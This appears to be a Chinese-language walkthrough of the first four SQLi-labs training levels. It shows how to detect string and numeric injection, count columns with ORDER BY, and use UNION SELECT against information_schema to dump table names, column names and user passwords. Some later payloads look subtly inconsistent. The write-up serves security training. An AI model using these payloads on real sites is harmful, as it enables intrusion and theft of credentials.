Less1-实验
1.判断是否存在SQL注入
1.提示输入的ID
作为参数,这里我们选择 id=1
2.因为数值不同,返回值也不同。我们可以确认我们输入的参数被带入到数据库中调用了。
3.接下来判断语句是否可拼接,且是字符型还是数值型。
4.根据结果我们可以判定这是一个字符型注入漏洞,我们可以得到页面回显。接下来我们就进行联合注入得到更多的数据库信息。
2.联合注入
1.首先我们需要知道该表有几列?通过order by 获取!
?id=1' order by 3 --+
当order by
参数为 4
时,页面回显报错,我们得知该表一共有3列
2.从页面回显可以看出,3列数据中,只有2列可以页面回显,我们需要确认一下到底是哪两列会回显呢?
?id=0' union select 1,2,3 --+
这里我们使用的id参数为0,是因为我们需要id参数不存在于数据库的序列号当中,也可以使用负数.通过上述回显,我们可以判定,回显位为第2\3列
3.获取当前数据库名和版本号
?id=0' union select 1,database(),version() --+
4.爆表
information_schema.tables
是系统表之一,记录着数据库当中所有的tables表;
where
后面跟条件语句;
group_concat()
将查询到结果连接起来,如果不用group_concat查询到的只是user表中的数据。
该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的数据。
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5.爆字段名
通过爆表我们得知一共有4个表,猜测账户信息放在user
表中,接下来我们对该表进行爆破,获得字段名。
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
我们可以看到两个关键字段名password
和username
。
我们可以构造语句获取每个id
对应的用户名和口令。
?id=0' union select 1,2,group_concat(username,id,password) from users --+
Less2-实验
1、判断注入类型
我们猜测此例为一个数字型注入。
2、注入过程
注入所需构造语句如下:
1、判断列数
?id=1 order by 3
?id=1 order by 4
2、暴露显示位
?id=0 union select 1,2,3
3、爆库查看数据库名、版本等信息
?id=0 union select 1,database(),version()
4、获取所有数据库名
?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
5、获取所有表名
?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
注入过程截图如下:
Less3-实验
1、判断
我们输入id=2'
得到报错界面
从上图报错内容可以得知,SQL语句格式中不止有',还有)需要进行补全。故此,我们的构造的SQL语句需要满足上述格式。
2、构造语句
?id = 2 ') --+
其他构造语句如下:
1、判断列数
?id = 2 ') order by 3 --+
2、确认暴露的显示位
?id=0') union select 1,2,3 --+
3、查看数据库名及数据库版本
?id =0 ') union select 1,database(),version() --+
4、爆库
?id =0' ) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
5、爆表
?id = 0 ' ) union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'user' --+
6、爆用户数据
?id = 0' ) union select 1,2,group_concat(username,id,password) --+
Less4-实验
1、判断注入类型
经过多次尝试,我们发现报错的注入方式为…
2、构造语句
?id = 2 ") --+
其他构造语句如下:
1、判断列数
?id = 2") order by 3 --+
2、确认暴露的显示位
?id=0") union select 1,2,3 --+
3、查看数据库名及数据库版本
?id = 0") union select 1,database(),version() --+
4、爆库
?id = 0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
5、爆表
?id = 0") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'user' --+
6、爆用户数据
?id = 0 ") union select 1,2,group_concat(username,id,password) --+